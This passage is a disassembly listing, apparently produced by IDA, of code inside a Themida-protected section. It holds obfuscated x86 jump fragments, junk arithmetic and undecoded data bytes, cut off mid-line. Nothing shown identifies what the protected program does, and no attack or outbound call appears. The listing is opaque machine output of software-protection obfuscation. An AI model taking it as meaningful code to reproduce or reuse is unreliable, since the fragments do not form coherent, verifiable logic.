5AD32960h, 153B9905h dd 2DD80104h, 4153B99h, 2055Bh, 0BDE90000h, 68000017h dd 78Ah, 50241C89h, 0A730B7B8h, 8C8051Ah, 0C3890436h, 1266E9h dd 7EE95A00h db 21h, 2 dup(0) ; --------------------------------------------------------------------------- loc_547033: ; CODE XREF: Themida_:0054F801j add esp, 4 add eax, 4 push ecx mov ecx, 4 jmp loc_5512BF ; --------------------------------------------------------------------------- dw 68h dd 81000000h, 51C12404h, 2C294910h, 22E3E924h, 0E9540000h dd 3762h ; --------------------------------------------------------------------------- loc_547060: ; CODE XREF: Themida_:0054D9F8j add edx, 4 xchg edx, [esp] pop esp jmp loc_54B0DB ; --------------------------------------------------------------------------- loc_54706C: ; CODE XREF: Themida_:00548AA2j jz loc_54FBAF push 5442h mov [esp], ebx jmp loc_54E8EA ; --------------------------------------------------------------------------- db 81h dd 4C3h, 4C38100h, 87000000h, 835C241Ch, 0C8904ECh, 50E18924h dd 722FE9h, 1C5F2100h, 5B2434FFh, 81E78957h, 4C7h, 4C78300h dd 31243C33h, 3C33243Ch, 35E95C24h, 81FFFFFEh, 0B75EFAC5h dd 8BE901FDh, 8956242Ch, 4C681E6h, 83000000h, 348704C6h dd 0E9555C24h, 457Ah, 721B235h, 78AC2D73h, 0C689DCC5h dd 39F2E9h, 5BD93100h, 6AA9E9h, 5BDF2900h, 0F781DFF7h dd 0F9ACB401h, 0E95FFA29h, 4001h ; --------------------------------------------------------------------------- loc_54710C: ; CODE XREF: Themida_:0054992Bj add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push edx mov edx, 4 add ebx, edx pop edx jmp loc_552C3E ; --------------------------------------------------------------------------- db 52h dd 84940FBAh, 5AD001B6h, 53585E50h, 1200E9h db 0 ; --------------------------------------------------------------------------- loc_547139: ; CODE XREF: Themida_:0054CF8Aj mov esi, 4 jmp loc_54A5BE ; --------------------------------------------------------------------------- db 1 aUsQ db 'îé*Ÿ',0 align 2 dw 0F750h dd 5582414h, 5CF2C8B3h, 348BF029h, 4C48324h, 6776EE81h dd 0C60116B5h, 6776C681h, 815816B5h, 4EEh, 40E95600h, 89000041h dd 0D9B62414h, 4EC81h, 4890000h, 7DB25224h, 96EBE9h, 0FD62E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_547192: ; CODE XREF: Themida_:0054CCA5j add ebp, 4 jmp loc_550B96 ; --------------------------------------------------------------------------- loc_54719D: ; CODE XREF: Themida_:0054C7BCj mov edi, 136C1599h or ebx, edi pop edi add ebx, 26E73D87h shr ebx, 8 and ebx, 325014C7h shl ebx, 7 sub ebx, 808417Ch add eax, 195A3F76h add eax, ebx sub eax, 195A3F76h mov ebx, [esp] push esi mov esi, esp jmp loc_550177 ; --------------------------------------------------------------------------- loc_5471D4: ; CODE XREF: Themida_:0055149Fj mov [esp], esi push edx mov edx, edi push edi mov edi, edx jmp loc_54ADD1 ; --------------------------------------------------------------------------- dw 0C181h dd 0E1809A3h, 3F82E181h, 0BD55084Ch, 69FF96Eh, 5FE9E929h db 26h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5471FB: ; CODE XREF: Themida_:00547C53j mov [esp], edi mov edi, edx push edx jmp loc_54CEF2 ; --------------------------------------------------------------------------- loc_547206: ; CODE XREF: Themida_:0054B789j xchg eax, [esp] jmp loc_552252 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 835B5453h, 48904ECh, 21B8E924h, 8D2D0000h, 1774A09h dd 98D05F0h, 34FF774Ah, 2434FF24h, 4C4815Eh, 68000000h dd 565Fh, 0E9241489h, 4864h, 0E9772CACh, 4886h, 32488B05h dd 2DC82922h, 2232488Bh, 3B3BBF57h, 5805709Eh, 556FCE07h dd 176F9BBDh, 0ED81451Bh, 0B70927D3h, 15DE829h, 4F0FE9F8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54727E: ; CODE XREF: Themida_:0054E123j add ebx, ebp pop ebp add ebx, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] jmp loc_54991F ; --------------------------------------------------------------------------- aPsqw db 'Péqw',0 align 4 dd 0F6E9FA01h db 64h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54729F: ; CODE XREF: Themida_:00548034j sub bl, dl pop edx pop ax sub al, bl jmp loc_549B14 ; --------------------------------------------------------------------------- db 0F7h aS_ db 'Õé _',0 align 2 dw 1433h aSC db '$\é~—',0 dw 0BF00h dd 0A0D0C79h, 295FFD01h, 242C8BEEh, 104C483h, 0C3315EF0h dd 7C5E9h, 63E95C00h, 9000072h, 0F5815BDDh, 3FB776BBh dd 2C8BEB01h, 4C48324h, 5733E9h, 0F8B35300h, 76E9D3F6h db 1Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5472FB: ; CODE XREF: Themida_:00549B0Fj mov esi, 4 add eax, esi pop esi jmp loc_548A97 ; --------------------------------------------------------------------------- loc_547308: ; CODE XREF: Themida_:0054C76Aj push edx mov edx, 4A683B8Dh mov eax, edx pop edx jmp loc_552123 ; --------------------------------------------------------------------------- dw 8350h dd 248904ECh, 6A77E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_547322: ; CODE XREF: Themida_:0054BE10j mov ebx, [esp] jmp loc_54DA72 ; --------------------------------------------------------------------------- dw 5C01h dd 6C810424h, 1E00424h, 585B1BE1h, 838BE9h db 0 ; --------------------------------------------------------------------------- loc_54733D: ; CODE XREF: Themida_:00548026j add bl, 42h jmp loc_5529B9 ; --------------------------------------------------------------------------- loc_547345: ; CODE XREF: Themida_:0054B2DDj push ecx mov ch, 0F4h sub ch, 7 add al, ch jmp loc_55217A ; --------------------------------------------------------------------------- dw 1487h dd 0C7815C24h, 2, 8B243C87h, 2CD22424h, 89E99C24h, 5FFFFFBh dd 7B6357A2h, 48BC729h, 4C48324h, 0B7BCBE56h, 0F729B3B0h dd 8BF8015Eh, 0C483243Ch, 328F6804h, 26E90000h db 5Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_547393: ; CODE XREF: Themida_:0054977Bj xchg edx, [esp] pop esp mov [esp], ebx push dword ptr [esp] push dword ptr [esp] jmp loc_54BBF8 ; --------------------------------------------------------------------------- loc_5473A5: ; CODE XREF: Themida_:00548AF2j mov edi, esp add edi, 4 jmp loc_5484E1 ; --------------------------------------------------------------------------- dw 8B66h dd 7DE92404h db 0B5h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5473BB: ; CODE XREF: Themida_:0054BC1Ej push edx mov dh, 46h jmp loc_550D2F ; --------------------------------------------------------------------------- db 5Bh dd 0FCEE815Eh, 0E95B5A30h, 310Eh, 940CE95Ah, 0EC810000h dd 4, 0B093E9h, 55E28900h, 4B951h, 0CD890000h, 0B74DE959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5473F2: ; CODE XREF: Themida_:00547F4Cj add ebp, 5F085036h add ebp, edi push ebx mov ebx, 78A32A63h xor ebx, 5C4F65EEh add ebx, 3A1C00A9h sub ebp, ebx pop ebx pop edi add ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] mov esp, [esp] jmp loc_54746D ; --------------------------------------------------------------------------- a341434LFSI db '[34$14$34$‹$$f;ÈœéÛI',0 align 2 dw 0BD55h dd 3A550C0Fh, 8904EC83h, 98BE2434h, 0E939DF17h, 9049h dd 0BF3B26BAh, 5AD6891Eh, 646AE9h db 0 ; --------------------------------------------------------------------------- loc_54745D: ; CODE XREF: Themida_:0054D2E9j mov [esp], ecx push esp pop ecx add ecx, 4 jmp loc_54E4EE ; --------------------------------------------------------------------------- loc_54746D: ; CODE XREF: Themida_:0054741Fj sub esp, 4 mov [esp], edi push ebx mov ebx, 1E273D46h mov edi, 479668C8h and edi, 5C9A0840h push eax jmp loc_54AC0A ; --------------------------------------------------------------------------- loc_54748A: ; CODE XREF: Themida_:005518B6j pop eax add edi, 4 xchg edi, [esp] pop esp push 24F3h mov [esp], ecx push ebp mov ebp, 5B835F96h shr ebp, 7 add ebp, 3ED92CCDh and ebp, 9E70E0Ah xchg edi, ebp not edi xchg edi, ebp push edi mov edi, 0DE84ED0Ah sub ebp, edi pop edi jmp loc_550EA1 ; --------------------------------------------------------------------------- loc_5474C3: ; CODE XREF: Themida_:0054A627j add edi, 4 add edi, 4 xchg edi, [esp] pop esp add esp, 4 add esp, 4 sub esp, 4 mov [esp], edx push esi mov esi, esp push edi mov edi, 4C85535Eh sub edi, 4C85535Ah add esi, edi pop edi sub esi, 4 xchg esi, [esp] mov esp, [esp] jmp loc_54D7BB ; --------------------------------------------------------------------------- loc_547502: ; CODE XREF: Themida_:0054BD6Dj xor eax, edi xchg esi, edi not esi xor edi, esi xor esi, edi jmp loc_548714 ; --------------------------------------------------------------------------- loc_547511: ; CODE XREF: Themida_:00548E9Ej mov [esp], ebx push dword ptr [esp] jmp loc_54A50C ; --------------------------------------------------------------------------- dd 5FEDEF81h, 0C7813356h, 6B5024C4h, 9E9F701h, 0BB00009Fh dd 5E3569Ah, 4244481h, 1BE101E0h, 0FFFDE9E9h, 0D95BDFFh dd 0EA0926D6h, 90EA815Dh, 0E9E13702h, 1DB2h, 243C8B54h dd 5004C483h, 3364C5B8h, 0ABF5E931h, 0E4B80000h, 0BA7C1758h dd 4268213Eh, 1C281h, 0EA810000h, 34884E7Bh, 14E0E9h, 4C18100h dd 83000000h, 0C8704C1h, 0C3E95C24h, 81000082h, 0AB7763C1h dd 0C335869h, 240C3124h, 62F4E9h db 0 ; --------------------------------------------------------------------------- loc_5475A5: ; CODE XREF: Themida_:0054D6A5j and edi, 7C094FDFh push eax mov eax, 250F1A51h xor eax, 1E440476h shl eax, 4 not eax jmp loc_5529E4 ; --------------------------------------------------------------------------- dd 0C181E189h, 4, 4C181h, 0C870000h, 1A41E924h, 0EC830000h dd 35FAE904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5475DE: ; CODE XREF: Themida_:loc_551390j push 787Fh jmp loc_547F8C ; --------------------------------------------------------------------------- aQBstsB db ']Q¹µBéTé³b',0 align 4 loc_5475F4: ; CODE XREF: Themida_:0054F2B0j sub edi, 1E6B63B4h add edi, ebp add edi, 1E6B63B4h pop ebp push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] mov esp, [esp] inc ecx xchg ecx, [edi+24h] jmp loc_550EEB ; --------------------------------------------------------------------------- dd 81C3315Ah, 251B0FEAh, 68C22913h, 61F8h, 0FFF8D4E9h dd 0D1F65AFFh, 2EB35366h, 7EE980h, 7EC180D9h, 7C74E9h dd 0C0EE8100h, 6848CF7Eh, 4501h, 72F4E9h db 0 ; --------------------------------------------------------------------------- loc_547651: ; CODE XREF: Themida_:0054A329j and ebp, 219D4FFBh inc ebp sub ebp, 1BD6E7E3h sub ebx, ebp pop ebp pop edx sub ebx, 6F915149h add ebx, eax jmp loc_54BACB ; --------------------------------------------------------------------------- loc_54766F: ; CODE XREF: Themida_:0054CC1Bj sub esi, edx pop edx pop eax add esi, 4 xchg esi, [esp] mov esp, [esp] or eax, eax jz loc_54DC4D push 495h mov [esp], ebx push 31C9h mov [esp], eax push ecx push edi mov edi, 343C3F78h inc edi xor edi, 62956792h mov ecx, edi jmp loc_547B9B ; --------------------------------------------------------------------------- loc_5476A9: ; CODE XREF: Themida_:0054A5C0j pop esi jmp loc_548A75 ; --------------------------------------------------------------------------- db 89h dd 4812424h, 424h, 0BA525800h, 4, 0E95AD001h, 0B0Ah, 0E9E38953h dd 0FFFFF9AFh, 62BB7B8h, 6C352D79h, 5CE91724h db 4Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_5476DF: ; CODE XREF: Themida_:00549C0Bj shr ah, 8 push edx jmp loc_54B9FE ; --------------------------------------------------------------------------- aB5gsc db 'ÁÀ¶5ƒé—',27h,0 db 0 ; --------------------------------------------------------------------------- loc_5476F3: ; CODE XREF: Themida_:00548B05j neg ecx jmp loc_54B8A6 ; --------------------------------------------------------------------------- dw 0E768h dd 8900000Eh, 0E7B62414h, 8091E680h, 0E6C094CEh, 5E6C007h dd 0C680DEF6h, 9B3CE9DFh, 0EC810000h, 4, 50241489h, 0F41928B8h dd 7D8B357Eh, 0D7E97D48h, 57000099h, 8104E9h db 0 ; --------------------------------------------------------------------------- loc_547739: ; CODE XREF: Themida_:00547C9Cj add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp add ebx, 55260919h sub ebx, 7AD86756h add ebx, eax add ebx, 7AD86756h sub ebx, 55260919h push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp jmp loc_54A8E2 ; --------------------------------------------------------------------------- dd 37E9F9B5h, 5900005Bh, 29E95350h, 83000044h, 248904ECh dd 24048324h, 24048F04h, 4240481h, 8B000000h, 0C481241Ch dd 4, 4EC81h, 3C890000h, 4BF24h, 0C3810000h, 21D33BACh dd 4D0EE9h db 0 ; --------------------------------------------------------------------------- loc_5477B9: ; CODE XREF: Themida_:0054C0D5j add esi, 0FFFFFFFFh push 46F7h jmp loc_550142 ; --------------------------------------------------------------------------- loc_5477C9: ; CODE XREF: Themida_:0055014Aj sub ebx, 78E66743h shr ebx, 6 not ebx inc ebx add ebx, 44CC8D6Eh jmp loc_54D495 ; --------------------------------------------------------------------------- loc_5477E0: ; CODE XREF: Themida_:0054BAD1j sub ebx, 26C22257h jmp loc_54EE96 ; --------------------------------------------------------------------------- aSJdVstb db 'S»†dÇvét',0 align 2 dw 0E956h dd 7602h, 0C680EE00h, 240C8BD2h, 97FFE9h db 0 ; --------------------------------------------------------------------------- loc_547809: ; CODE XREF: Themida_:0055048Dj sub esp, 4 mov [esp], ebx mov ebx, 87A6B4Eh shl ebx, 3 push ebp mov ebp, 5DE576EDh jmp loc_54D7E6 ; --------------------------------------------------------------------------- aSzw db '\é§W',0 align 4 loc_547828: ; CODE XREF: Themida_:0054E0EDj add ebx, 4 sub ebx, 4 xchg ebx, [esp] jmp loc_54C6BE ; --------------------------------------------------------------------------- dd 0D7B6872Dh, 0CBEE960h, 0C4810000h, 4, 4C781h, 0A8E90000h dd 81000038h, 4ECh, 24348900h, 27CCE9h, 0C8B6600h, 0C1AE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54786E: ; CODE XREF: Themida_:0054BD5Fj and eax, edx pop edx or eax, eax jz loc_54A800 push edx mov edx, 84A2232h not edx sub esp, 4 mov [esp], esi mov esi, 522C54E8h push 7DCFh mov [esp], eax mov eax, 1F517CA9h shr eax, 6 neg eax push esi mov esi, 7F66723Ah push edi mov edi, 37A67472h jmp loc_547BFD ; --------------------------------------------------------------------------- db 87h dd 0E95C2414h, 0EFh ; --------------------------------------------------------------------------- loc_5478B8: ; CODE XREF: Themida_:00552356j add dword ptr [ecx], 1 pop ecx jmp loc_5507F8 ; --------------------------------------------------------------------------- dd 0DF4E3468h, 0E6D15E50h, 4BA524Eh, 16254D9h, 24148BD6h dd 4C481h, 0C3810000h, 66FE6200h, 15E5E9h, 5BF98800h, 3FCE9h db 0 ; --------------------------------------------------------------------------- loc_5478F1: ; CODE XREF: Themida_:0054BD1Bj pop edi push ebx xchg esi, [esp] not esi xchg esi, [esp] pop ebx not ebx neg ebx push edi mov edi, 0B5A14B98h add ebx, edi pop edi xor ebp, ebx pop ebx xor esi, ebp push dword ptr [esp] pop ebp jmp loc_54D646 ; --------------------------------------------------------------------------- db 0BFh dd 69EE732Ch, 17BCCF81h, 0EFC15C8Dh, 9F43E904h, 57410000h dd 0B7079FBFh, 4CEF8123h, 29CEE7B2h, 3B98E9F9h, 0E8050000h dd 15C3EAFh, 0FE0158C6h, 58B6EE81h, 27E95920h, 0C0000024h dd 0E7C006EFh, 1372E902h, 48B0000h, 4C48324h, 2E83E9h db 0 ; --------------------------------------------------------------------------- loc_547969: ; CODE XREF: Themida_:0054A4D1j sub edx, ebx pop ebx push edx push dword ptr [esp+4] jmp loc_54F241 ; --------------------------------------------------------------------------- aASpz db '€ÏÃ鯧',0 align 2 aNsM db 'éÂM',0 align 4 dd 241CF766h, 0F566E99Ch, 0EC80FFFFh, 58E52841h, 32E0E9h dd 24048900h, 18AF6857h, 74E92D10h, 8900000Ch, 5CE9241Ch db 8Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_5479AF: ; CODE XREF: Themida_:0054873Dj push 1810h mov [esp], ebx push ecx mov ecx, 72CB3C3Ah jmp loc_548903 ; --------------------------------------------------------------------------- loc_5479C2: ; CODE XREF: Themida_:0054E4E9j push edi mov edi, 6F595CA7h jmp loc_54B446 ; --------------------------------------------------------------------------- loc_5479CD: ; CODE XREF: Themida_:0054C0FDj mov ebp, 3709146Dh add eax, ebp pop ebp jmp loc_549780 ; --------------------------------------------------------------------------- dw 4FBBh dd 31584748h, 99055BD8h, 2D1ECE69h, 8E6D939Ch, 6858C101h dd 62E1h, 0BB241C89h, 5F697DEAh, 8108E3C1h, 254079CBh dd 81D3F767h, 821584F3h, 82AE990h, 0C5810000h, 0E9F38D4h dd 1835C581h, 0E8294B6Dh, 83242C8Bh, 0C82904C4h, 7CA7E9h dd 0F4C2E900h, 5653FFFFh, 7536A4BEh, 8BF38950h, 97E92434h dd 58000034h, 7918E9h, 0E7895700h, 4C781h, 0C7810000h dd 4, 0E9243C87h, 611Bh, 4C4815Dh, 81000000h, 4C5h, 7558E900h dd 0FE010000h, 86E9575Fh, 100008Ah, 546668D8h, 14890000h dd 6B1BBA24h, 0AEE95F49h, 5F0000A7h, 72449005h, 4119E970h dd 8F0000h, 0FFF453E9h db 0FFh ; --------------------------------------------------------------------------- loc_547AA1: ; CODE XREF: Themida_:0055232Fj push 1EC42F4h jmp loc_54A973 ; --------------------------------------------------------------------------- db 0BBh dd 1ED015A4h, 6AD7EB81h, 0BA523975h, 1AECA917h, 0E95AD331h dd 0B76h, 0BB535F54h, 244368BBh, 8105EBC1h, 0DDE4BFC3h dd 3425E9FEh, 83580000h, 0BA5204C4h, 4, 0E812542Dh, 5D0011Ch dd 1CE81254h, 0E92434FFh, 5ADh, 24048B66h, 9F74E9h db 0 ; --------------------------------------------------------------------------- loc_547B01: ; CODE XREF: Themida_:0054D4B2j sub edi, 0CC62C360h add esi, edi pop edi pop ebx xor esi, 0F0F1A3BFh and eax, esi pop esi or eax, eax jz loc_54CAE1 push dword ptr [edi+28h] push dword ptr [esp] mov eax, [esp] jmp loc_54B06A ; --------------------------------------------------------------------------- loc_547B2A: ; CODE XREF: Themida_:0054B7D4j xor ebp, [esp] jmp loc_54EEAA ; --------------------------------------------------------------------------- loc_547B32: ; CODE XREF: Themida_:0054E609j pop esp mov [esp], edi mov edi, esp push ebx mov ebx, 48FC59E3h shl ebx, 6 jmp loc_547DB7 ; --------------------------------------------------------------------------- dw 483h dd 0E95D0424h, 1076h, 7149102Dh, 29612D06h, 2A2D146Eh dd 294DB132h, 2ABA52D8h, 14DB132h, 1493E9D0h, 50680000h dd 89000059h, 38BA2414h, 680EA90Ch, 532Eh, 0E9242C89h dd 7C59h ; --------------------------------------------------------------------------- loc_547B88: ; CODE XREF: Themida_:00550B9Dj sub esp, 4 mov [esp], ebp push 4DCh jmp loc_550E55 ; --------------------------------------------------------------------------- loc_547B9B: ; CODE XREF: Themida_:005476A4j pop edi sub ecx, 1 jmp loc_549838 ; --------------------------------------------------------------------------- db 80h dd 48BB4EDh, 8A80E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_547BB2: ; CODE XREF: Themida_:0054EEBFj shr eax, 0Ah xor eax, ecx jmp loc_54C0F1 ; --------------------------------------------------------------------------- loc_547BBC: ; CODE XREF: Themida_:005513E7j sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], eax push 4579h mov [esp], esp add dword ptr [esp], 4 mov eax, [esp] push esi mov esi, esp jmp loc_54C1BE ; --------------------------------------------------------------------------- db 1 dd 241C8BDDh, 4C481h, 2C870000h, 24248B24h, 24048B66h dd 1E97E9h db 0 ; --------------------------------------------------------------------------- loc_547BFD: ; CODE XREF: Themida_:005478AAj sub edi, 3E682890h and edi, 27FE50D1h jmp loc_54D549 ; --------------------------------------------------------------------------- dw 8B66h dd 9B682404h, 8900000Eh, 87E92414h db 66h, 2 dup(0) ; --------------------------------------------------------------------------- loc_547C1F: ; CODE XREF: Themida_:0054CD72j push ebx mov ebx, 2AE91DACh sub esp, 4 jmp loc_54D911 ; --------------------------------------------------------------------------- dd 31241C33h, 1C33241Ch, 5EC2E924h, 0D9F60000h, 0C180D9F6h dd 1CC4E9B4h db 2 dup(0) ; --------------------------------------------------------------------------- loc_547C4A: ; CODE XREF: Themida_:00552255j mov [esp], ecx push ebp push 7421h jmp loc_5471FB ; --------------------------------------------------------------------------- loc_547C58: ; CODE XREF: Themida_:0054916Cj pop esp mov [esp], edx mov edx, esp add edx, 4 jmp loc_550722 ; --------------------------------------------------------------------------- db 5Eh, 81h, 0C3h dd 2, 5C241C87h, 7291E951h db 2 dup(0) ; --------------------------------------------------------------------------- loc_547C7A: ; CODE XREF: Themida_:00552128j sub eax, 30F8174Bh inc eax and eax, 1FBA0369h push ebx mov ebx, 7C97741Bh sub ebx, 2AC05C77h jmp loc_549EC4 ; --------------------------------------------------------------------------- dw 348Bh db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_547739 ; --------------------------------------------------------------------------- loc_547CA1: ; CODE XREF: Themida_:0054FD69j pop dword ptr [esp] pop esp shr eax, 12h jmp loc_551E69 ; --------------------------------------------------------------------------- loc_547CAD: ; CODE XREF: Themida_:0054DFADj xor eax, edi pop edi shr eax, 7 neg eax sub eax, 0E9C7F58Dh mov edx, eax pop eax shr edx, 3 sub esp, 4 mov [esp], esi mov esi, 5E604C24h neg esi shr esi, 4 jmp loc_54BA4A ; --------------------------------------------------------------------------- db 80h, 0C7h, 7Ah dd 0E95BFD88h, 5D1Dh ; --------------------------------------------------------------------------- loc_547CE0: ; CODE XREF: Themida_:0054F04Cj sub eax, 16D0655Dh push dword ptr [esp] jmp loc_54A616 ; --------------------------------------------------------------------------- aSAsSgy db 'Àá',8,'€éßé£y',0 align 4 dd 27FBF581h, 148B2AAAh, 24E95724h db 70h, 2 dup(0) ; --------------------------------------------------------------------------- loc_547D07: ; CODE XREF: Themida_:0054E00Aj shl edx, 1 jmp loc_54F79B ; --------------------------------------------------------------------------- dw 1768h dd 8900006Fh, 0EC832424h, 241C8904h, 0C381E389h, 4, 8704EB83h dd 0E95C241Ch, 19C9h, 0E924048Bh, 556Ch, 3AA2EE81h, 0BFE96BFCh db 6Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_547D43: ; CODE XREF: Themida_:0054D0C9j cmp eax, edx jz loc_548894 push ecx push esp pop ecx add ecx, 4 sub ecx, 4 xchg ecx, [esp] mov esp, [esp] mov [esp], eax mov eax, 255A44B9h neg eax neg eax neg eax dec eax shr eax, 8 jmp loc_54F051 ; --------------------------------------------------------------------------- db 5Fh dd 4246C81h, 2C7A774Bh, 4245401h, 4244481h, 2C7A774Bh dd 0F162E95Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_547D92: ; CODE XREF: Themida_:0054AC32j mov [esp], edi mov edi, 4 add ebx, edi mov edi, [esp] add esp, 4 xor ebx, [esp] xor [esp], ebx jmp loc_54D756 ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 84E9C601h db 24h, 2 dup(0) ; --------------------------------------------------------------------------- loc_547DB7: ; CODE XREF: Themida_:00547B41j and ebx, 14124B11h neg ebx inc ebx add ebx, 405F7C8Eh sub ebx, 2C4D348Bh add edi, ebx jmp loc_54E6E8 ; --------------------------------------------------------------------------- db 81h dd 4C7h, 243C8700h, 24348B5Ch, 8104C483h, 2E48242Ch, 401293Ch dd 24048124h, 293C2E48h, 0FB242C81h, 0E9731138h, 0FFFFF0F4h ; --------------------------------------------------------------------------- loc_547E00: ; CODE XREF: Themida_:00550FA4j pop eax xor edx, 30E9458Eh jmp loc_54A402 ; --------------------------------------------------------------------------- dd 725468h, 14B0E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_547E16: ; CODE XREF: Themida_:0054A7BDj add esp, 4 push edi push 100h pop edi and eax, edi jmp loc_54995C ; --------------------------------------------------------------------------- dd offset dword_493504+0C064h dw 8900h aQsL db '$$Qé!«',0 align 4 dd 0DB4BF805h, 2DF00121h, 21DB4BF8h, 8FE9535Eh db 0FBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_547E4B: ; CODE XREF: Themida_:0054D762j push 30A2h mov [esp], esi push 385Bh mov [esp], ecx mov ecx, 32272BDFh jmp loc_54A4F9 ; --------------------------------------------------------------------------- db 0FFh, 77h, 1Ch dd 0D359669Dh, 0E99C2414h, 0FFFFF080h, 0E92434FFh, 0AC63h dd 42CBB53h, 6AE96259h, 5DFFFFF2h, 8B24048Fh, 4312424h dd 0F05EE924h, 431FFFFh, 24043324h, 8BEBE9h, 3EBD5500h dd 0E90E001Ah, 4BCBh, 0C581E589h, 4, 440FE9h, 13F68100h dd 1268B96h, 0C1835EF1h, 74FF5102h, 0C7E90424h, 51000049h dd 0C181E189h, 4, 4C181h, 3BE90000h, 81000016h, 4C4h, 138EE900h dd 8B660000h, 8953240Ch, 4C381E3h, 83000000h, 1C8704EBh dd 4895C24h, 2A12E924h, 0FF500000h, 58042474h, 5C24048Fh dd 0FFFB14E9h db 0FFh ; --------------------------------------------------------------------------- loc_547F19: ; CODE XREF: Themida_:0054F1F9j mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_54A263 ; --------------------------------------------------------------------------- loc_547F30: ; CODE XREF: Themida_:0054B270j and eax, edx jmp loc_5513C9 ; --------------------------------------------------------------------------- loc_547F37: ; CODE XREF: Themida_:0054C01Dj mov bl, 0B5h jmp loc_5488F1 ; --------------------------------------------------------------------------- loc_547F3E: ; CODE XREF: Themida_:0054EE65j push edi mov edi, 6F275E68h not edi xor edi, 90D8A193h jmp loc_5473F2 ; --------------------------------------------------------------------------- db 59h, 35h, 0DFh dd 124CD23h, 0C68158C6h, 23084351h, 56E9EE29h, 5000007Ah dd 335DECB8h, 5E0C174h, 0FA6FDA05h, 58C229A0h, 0C281F201h dd 27662D5Ah, 8324348Bh, 0E95004C4h, 6B72h ; --------------------------------------------------------------------------- loc_547F8C: ; CODE XREF: Themida_:005475E3j mov [esp], eax jmp loc_54DE5B ; --------------------------------------------------------------------------- dd 3182F781h, 0B850A58Bh, 7C2D3A67h, 2DA2E9h, 5B63BD00h dd 0E9010810h, 0E9D9295Dh, 7A2h, 5C243433h, 27C0E9h, 83BA5200h dd 81674E09h, 202412CAh, 106AE940h db 2 dup(0) ; --------------------------------------------------------------------------- loc_547FCE: ; CODE XREF: Themida_:0054D1B7j and bh, 23h add bh, 4Bh mov ch, bh pop ebx sub ch, 0B0h sub esp, 4 mov [esp], eax push bx jmp loc_54F5D6 ; --------------------------------------------------------------------------- aSz db '[éZ{',0 dd 0EC815D00h, 4, 0A765E9h, 24343300h, 0E9243431h, 0A108h dd 4689E9ACh, 0DD210000h, 88BF575Bh, 8122B001h, 8A1EC7C7h dd 5FFD311Fh, 14E9E889h db 55h, 2 dup(0) ; --------------------------------------------------------------------------- loc_548023: ; CODE XREF: Themida_:0054AE9Cj sub bl, ch pop ecx jmp loc_54733D ; --------------------------------------------------------------------------- loc_54802B: ; CODE XREF: Themida_:00550D41j add bl, 7Fh sub bl, 0A9h push edx mov dl, 5 jmp loc_54729F ; --------------------------------------------------------------------------- db 81h, 0EBh, 2Eh dd 8120B61Fh, 52474E3h, 7DC3814Ah, 11E3040h, 582D5BD8h dd 3503C64Bh, 80A06E51h, 1F01C781h, 0A0E9742Bh db 0A2h, 2 dup(0) ; --------------------------------------------------------------------------- loc_548063: ; CODE XREF: Themida_:005484DCj jmp loc_546EF4 ; --------------------------------------------------------------------------- loc_548068: ; CODE XREF: Themida_:00552AAFj xor ebx, 27D2107Dh xor ebx, 75E443F5h shr ebx, 4 dec ebx xchg edx, ebx not edx xchg edx, ebx push ebp mov ebp, 6E405932h add ebp, 1 xor ebp, 4276B3E9h add ebx, ebp pop ebp jmp loc_54E8AF ; --------------------------------------------------------------------------- dd 0FEB9B252h, 0A4F280CAh, 0A739E9h, 0C4835A00h, 2C08304h dd 31240433h, 4332404h, 24248B24h, 240C8B66h, 25CD68h dd 240C8900h, 662FE954h, 0C7830000h, 74FF5704h, 3C8B0424h dd 4C48124h, 8F000000h, 54E92404h, 0C1000015h, 0D4E907E0h dd 6600009Ch, 664A83BDh, 0C166DDF7h, 686606EDh, 8966439Ah dd 6866240Ch, 5966777Eh, 66CD3166h, 4C0EE959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54810E: ; CODE XREF: Themida_:0055172Fj mov [esp], eax push ebp mov ebp, 73A0280Ah jmp loc_5529F8 ; --------------------------------------------------------------------------- dd 0BF243C89h, 7F9C0E4Eh, 6808E7C1h, 0 dd 5F243C29h, 0B1FCEF81h, 0FD0163F1h, 81243C8Bh, 4C4h dd 46BA5200h, 0E952F42Bh, 62F2h, 0E95FF801h, 9CE5h, 242C875Fh dd 8124248Bh, 41642EC2h, 60EAE96Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_548166: ; CODE XREF: Themida_:0054C2A7j sub ebx, 79AC6232h jmp loc_54AA33 ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 0B1240C89h, 59CA8818h, 8B66D030h, 89502414h, 4EC83E0h dd 0BA241489h, 71B57CC7h, 0F281D2F7h, 576A7462h, 37EA8142h dd 42A47CECh, 3508E281h, 0DAF72B7Ah, 5C19E9h, 1EF8100h dd 87000000h, 87D1F7CFh, 3EB951CFh, 213D607Bh, 0C78159CFh dd 0CFFFBEFCh, 3C8BFD01h, 0FE7E924h, 0C0830000h, 24048704h dd 8124248Bh, 191C34C3h, 